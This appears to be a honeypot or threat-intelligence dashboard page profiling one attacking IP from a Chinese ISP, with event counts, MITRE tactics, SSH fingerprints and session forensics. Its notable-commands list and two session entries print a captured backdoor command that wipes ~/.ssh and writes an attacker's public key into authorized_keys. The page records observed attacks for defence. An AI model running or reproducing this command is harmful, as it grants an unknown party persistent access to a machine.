← Back to feed
Location
🇨🇳 CN
ASN
AS4134 · Chinanet
Cloud Provider
—
Total Events
73
Above average by volume
Agent Count
2
First / Last Seen
2026-05-31 20:05 — 2026-07-07 01:59
Attack Types
MITRE ATT&CK Techniques
Initial Access
Defense Evasion
Command and Control
External Corroboration
Not flagged by any external feeds
Campaigns
Not associated with any campaigns
Session Forensics
Sessions
11 (5 with login)
Avg Depth Score
0.43
Commands Executed
7
Files Downloaded
2
Notable Commands
- uname -s -m
- cd ~; chattr -ia .ssh; lockr -ia .ssh
- lockr -ia .ssh
- cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
Fingerprints
HASSH
SSH Client
Evidence Timeline
Reconnaissance
6adbc7293900
LOGIN
1
1
60%
Loading events...
Scanner
e46878c953ab
15%
Loading events...
Opportunistic Bruter
b373794254ea
LOGIN
1
50%
Loading events...
HASSH e41f883c31f1d83…
SSH-2.0-libssh_0.9.6
Malware Dropper
f07cb4a83833
LOGIN
3
1
1
100%
Loading events...
HASSH e41f883c31f1d83…
SSH-2.0-libssh_0.9.6
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Opportunistic Bruter
78cc92a7d8ee
LOGIN
1
50%
Loading events...
HASSH e41f883c31f1d83…
SSH-2.0-libssh_0.9.6
Malware Dropper
2eda61b8ae81
LOGIN
3
1
1
100%
Loading events...
HASSH e41f883c31f1d83…
SSH-2.0-libssh_0.9.6
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…